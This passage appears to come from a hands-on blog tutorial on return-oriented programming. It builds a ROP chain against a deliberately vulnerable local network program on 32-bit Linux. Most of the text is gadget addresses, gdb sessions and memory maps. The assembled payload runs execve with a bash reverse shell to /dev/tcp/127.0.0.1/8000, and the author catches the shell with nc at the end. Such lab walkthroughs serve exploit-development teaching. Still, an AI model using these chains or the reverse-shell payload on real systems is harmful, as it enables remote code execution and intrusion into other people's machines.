2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0x00000000

So our function seemed to have worked perfectly! :-)

Control Statements

I thought of a few different ways that control statements might be possible but was unable to find any relevant gadgets that was capable of doing it.

Because of this I haven't actually implemented any control statements in the exploit but I will describe a few gadgets that might make it possible.

The main reason I wanted a control statement in the exploit was because quite often I need to move the return value of the function into edx but the gadget to do this requires 4 double words on the stack.

As edx wasn't being used throughout the function I would have liked to find a gadget like this:

1
test edx, edx ; je esi ; ret

If we made sure edx = 0 and esi contained the address of the following gadget:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

Then we could move the return value of the function into edx within the function, shrinking the size of the payload a little more.

This allows us the run 1 gadget different depending on the value of 1 register (in this case edx).

If we could find the inverse of this contional jump, like this:

1
test edx, edx ; jne edx ; ret

In this case we still have esi spare and we just have to make sure edx is zero if we don't want to take the jump.

Of course the gadget pointed to by esi/edx (or any unused register which a gadget could jump to) could be something similar to the following:

1
xchg [reg], esp ; ret

Now, instead of just running 1 gadget, we are able to change the control flow of the application in a much bigger way.

Of course these examples are just dealing with testing if a value is zero or not but there is no reason why we could check for a number of different values with a gadget like the following:

1
test edx, esi ; je eax ; ret

We could place a number of these to test for a number of specific values or even a range using 2 gadgets similar to the following:

1
2
test edx, esi ; jg eax ; ret
test edx, ebx ; jl eax ; ret

Obviously there are so many different combinations that could lead to different branches being taken depending on certain values, these values don't necessarily need to be values set by the programmer either.

Consider the following:

1
test dword ptr [edx], esi ; je eax ; ret

Or the following sequence:

1
2
mov edx, dword ptr [edx] ; ret
test edx, esi ; je eax ; ret

Now we can test values in memory against specific values and make decisions based on that.

Another option would be with conditional move's, like this:

1
2
test edx, edx ; ret
cmove esp, eax ; ret

The goal here isn't to give you all of the possibilities that might arise, I don't think that would even be possible (there are so many possibiities), but to show that using a bit of creativity and having the right gadgets you can create reasonably complex applications using ROP.

Obviously you are limited by the gadgets that are avaliable to you though.

A Second Function

I decided to add a second function which would take 3 arguments, the same 2 as the first function but with the extra value inside edx, this would be a value to write to the address that is being calculated.

The resulting function was:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

I decided that it would be best if this function could be run almost directly after the first function, so that in cases where we want to write the address of a string into a pointer to that string, the first function could be run to calculate the address of the string and then the second function could be run to write that value into the pointer.

This of course means that it would be best if the return value of the first function was put inside edx, so the first function needs to be edited.

Here is the new first function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

Now we could run the first function as normal, followed by a pop ebx and the relevant value and immediately run the second function, whose address will already be in eax to write the value we've just calculated.

Running The Second Function Directly

Obviously to write the nulls we want to just run the second function with 0 in edx.

To do this all we have to do is make sure eax contains the distance from ecx (the top of the first function) to the top of the second function, which is 108 bytes, before we add eax, ecx.

I will use a technique I've not used before to do this. First we have to run the vulnerable application:

1
appuser@dev:~$ ./app-net

Now, in another terminal (as root) we need to find out the pid of the application:

1
2
3
root@dev:~# ps ax | grep app-net
25675 pts/2    S+     0:00 ./app-net
25681 pts/1    S+     0:00 grep app-net

So our application has the pid 25675, we now need to look at the memory layout of it, this is so we know the memory address range that we need to search:

1
2
3
4
5
6
7
root@dev:~# cat /proc/25675/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
09f57000-09f79000 rw-p 00000000 00:00 0          [heap]
b771e000-b771f000 r-xp 00000000 00:00 0          [vdso]
bfabd000-bfade000 rw-p 00000000 00:00 0          [stack]

The top 2 memory segments are static, so we can use anything in these sections of memory, we will look for 108 here using gdb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
root@dev:~# gdb -q -p 25675
Attaching to process 25675
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
0x0805790c in accept ()
(gdb) find 0x08048000, 0x080ca000, 0x0000006c
0x8056f39 <openlog_internal+217>
0x807a9d8 <fork+120>
0x807a9e5 <fork+133>
0x807aa3d <fork+221>
0x807ab00 <fork+416>
0x807abc3 <getpid+3>
0x8085c47 <raise+7>
0x80ae185 <__PRETTY_FUNCTION__.11707+37>
0x80ae2bf <__PRETTY_FUNCTION__.9288+31>
0x80ae300 <__PRETTY_FUNCTION__.9058+32>
0x80b0090 <_nl_C_LC_CTYPE_tolower+816>
0x80b0110 <_nl_C_LC_CTYPE_tolower+944>
0x80b0c78 <translit_from_idx+216>
0x80b6224 <translit_to_tbl+420>
0x80b6608 <translit_to_tbl+1416>
0x80b6a90 <translit_to_tbl+2576>
0x80b7434 <translit_to_tbl+5044>
0x80b7844 <translit_to_tbl+6084>
0x80b7e20 <translit_to_tbl+7584>
0x80b7e38 <translit_to_tbl+7608>
0x80b7f08 <translit_to_tbl+7816>
0x80b7f18 <translit_to_tbl+7832>
0x80b7f28 <translit_to_tbl+7848>
0x80b7f38 <translit_to_tbl+7864>
0x80b8320 <translit_to_tbl+8864>
0x80b8330 <translit_to_tbl+8880>
0x80b8340 <translit_to_tbl+8896>
0x80b8354 <translit_to_tbl+8916>
0x80b837c <translit_to_tbl+8956>
0x80b8390 <translit_to_tbl+8976>
0x80b843c <translit_to_tbl+9148>
0x80b8464 <translit_to_tbl+9188>
0x80b89c4 <translit_to_tbl+10564>
0x80b8c64 <translit_to_tbl+11236>
0x80b8ec8 <translit_to_tbl+11848>
0x80b9138 <translit_to_tbl+12472>
0x80b9588 <translit_to_tbl+13576>
0x80b97bc <translit_to_tbl+14140>
0x80b99d8 <translit_to_tbl+14680>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/xw 0x8056f39
0x8056f39 <openlog_internal+217>:   0x0000006c

So we can get the required value into eax using the following:

1
2
3
4
5
6
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
[0xaaaaaaaa - distance from ecx to address that we want to write zeros]

But we still need 0 in edx, so far we've only used 1 method to do this (xor eax, eax and then moving eax to edx) but we are no longer able to use eax so we are going to have to use a different method, here is 1:

1
2
3
4
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value

Here we are just setting edx to 0xffffffff, which is the maximum value that edx can contain, and then increasing it by 1, which will cause the carry flag to set and edx to contain 0.

Now we just need to call the function as normal:

1
2
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

So now in 12 double words, or 48 bytes, we have written zeros to a part of memory (the functions are contained in our padding section which is of fixed size anyway).

The Exploit So Far

If we put everything we've worked out so far together, we get to a point where we've written all of the zeros (or null terminators).

Our notes should now look similar to this:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function 1 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

#################### Function 2 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96 : 0xaaaaaaaa - distance from ecx to long arg 0xffffffff (20)
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa96 : distance from ecx to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa66 : distance from ecx to -c arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to -c arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa5e : distance from ecx to 1st arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 1st arg null terminator

Now we have to write the pointer values, we can do this by first running the first function to figure out the address of the string, then running the second function to write that value to the correct place.

Let me demonstrate how to do this with the pointer to the first string (which currently contains 0xbbbbbbbb).

First we find the address of the string:

1
2
3
4
5
0x08057b7e : pop ebx ; ret
0xaaaaaa52 : distance from ecx to the start of ////bin/bash
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

Now we should have the address of the ////bin/bash string in edx.

Now we can write it to the correct location:

1
2
3
0x08057b7e : pop ebx ; ret
0xaaaaaa9a : distance from ecx to the ////bin/bash pointer
0x0807b086 : xchg eax, esp ; ret

Done :-)

So in 8 double words, or 32 bytes, we've calculated the address of the string, and address of the pointer and written the address of the string over the pointer.

Finalizing The Exploit

We will actually set this pointer last out of the 3 pointers because we will need to set edx and ecx afterwards.

Remember edx needs to point to nulls and ecx needs to point to the beginning on the pointers (the address we wrote to here, which will be contained in edi after running the second function).

But to set ecx the address needs to contain nulls so after running the previous sequence, we can set both ecx and edx to the correct values using these gadgets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret

Now the value we want in ebx is at the address pointed to by ecx so the following will give us the right value inside ebx:

1
2
3
4
5
6
7
0x080838e8 : mov eax, dword ptr [ecx] ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop

Lastly we set eax and initiate the syscall:

1
2
3
4
0x080a8576 : pop eax ; ret
0x81fffff4 : (0x81ffffe9 + 11) 11 = execve syscall number
0x080aa1cc : sub eax, 0x81ffffe9 ; ret
0x08048c0d : int 0x80

Some of you may have noticed the mistake but after building the exploit and running it you will see this fails with a segfault and we get no shell.

Fixing The Exploit

I left this in here because it demonstrates nicely the types of problems you are likely to run into when developing these exploits.

The problem was in the functions, with our previous exploit the gadgets were all run in sequence so it didn't matter if we overwrote previous gadget on the stack as we weren't going to use it again.

In regards to the functions though we are going to run them numberous times so we must ensure that nothing that is vital for the application it overwritten.

The offending gadget (present in both functions) is:

1
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret

The problem here is that the first push eax will actually overwrite the gadget itself on the stack.

Let's visualize this a little, just before the above gadget is run, the top of the stack looks like this:

When the gadget is first run, esp changes value by 4 bytes, like this:

Now the push eax instruction is executed which causes this to happen:

Obviously this is undesirable because when we go to run the function again instead of running the actual gadget it will try to change execution to the value that was put here in the gadgets place.

The only way to deal with this is by removing this gadget and replacing it with something that doesn't edit any important parts of the stack.

One way I am going to solve this is by returning to the main application and moving the value into ebx there, this will however increase the size of the payload.

The second function is easiest to change:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

On line 7 execution is moved back to the main application, there we must move the value, which will be in the edi register, into ebx.

The first function is a bit more difficult because there are 2 instances of the offending gadget.

The first we can deal with the same as in the second function but the second instance is different.

The goal of the end of this function is to move the return value into edx so that the second function can be run directly after.

What we can do is move the value into edi and then xchg edx and edi using the following 2 gadgets:

1
2
0x080a3f72 : xchg eax, edi ; ret
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret

There is 1 problem here, the inc instruction after the xchg.

We need to make sure that this (ebx + 0x5e5b04c4) adds up to a memory address that is writable.

After looking at the application memory map over a few runs of the application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
root@dev:/home/testuser# cat /proc/32019/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
08ba6000-08bc8000 rw-p 00000000 00:00 0          [heap]
b77bb000-b77bc000 r-xp 00000000 00:00 0          [vdso]
bf7ed000-bf80e000 rw-p 00000000 00:00 0          [stack]
root@dev:/home/testuser# cat /proc/32024/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
097fd000-0981f000 rw-p 00000000 00:00 0          [heap]
b77cc000-b77cd000 r-xp 00000000 00:00 0          [vdso]
bfba6000-bfbc7000 rw-p 00000000 00:00 0          [stack]

There are 2 sections of wriable memory that appear to be static (080cc000-080cd000 and 080ca000-080cc000).

As you can see though, these address ranges have low memory addresses, much smaller than the value added to ebx (0x5e5b04c4).

I decided I wanted to use the memory address of 0x080cc004, so I done the sum 0x1080cc004 - 0x5e5b04c4 = 0xa9b1bb40.

So if we get the value 0xa9b1bb40 into ebx before we run the gadget in question it should work all of the time.

With all of this in mind our new function 1 looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x08057b7e : pop ebx ; ret
0xa9b1bb40 : 0x1080cc004 - 0x5e5b04c4
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret
0xeeeeeeee
0x0807b086 : xchg eax, esp ; ret

Obviously this is smaller than the original function 1 meaning that the distance between function 1 and 2 will be smaller, in fact it is only 76 (or 0x4c) bytes now instead of 108.

Using the same method as before (attaching to the app using gdb and running find 0x08048000, 0x080ca000, 0x0000004c) I found that this value is found at the address 0x804ba61.

So we have to go about replacing those where ever we have called function 2 directly.

All of this increased the size of the payload from 1008 to 1188 bytes but that's still a lot smaller than the 1536 bytes of the previous exploit.

Exploiting The Application

So now we have all the required information to make a working exploit.

You can see my full notes here.

And the full exploit here.

As normal we run the vulnerable application:

1
appuser@dev:~$ ./app-net

Start listening with nc:

1
testuser@dev:~$ nc -l -p 8000

Launch the exploit:

1
testuser@dev:~$ python app-net-rop-exploit-improved.py

Then if you look at the terminal windows running nc:

1
2
3
4
5
6
7
appuser@dev:/home/appuser$ pwd
pwd
/home/appuser
appuser@dev:/home/appuser$ whoami
whoami
appuser
appuser@dev:/home/appuser$

PWNED!! :-D

Conclusion

I know we didn't save a huge amount of space with this exploit (only 348 bytes), that might be enough to bypass any space restrictions.

Also if we had more/different gadgets, which is certainly possible with a different application, we might have been capable of saving a lot more space.

The main point of this post was the demonstrate some reasonably advanced ROP techniques and suggest possibilities for improving an exploit where ROP is required.

Happy Hacking :-)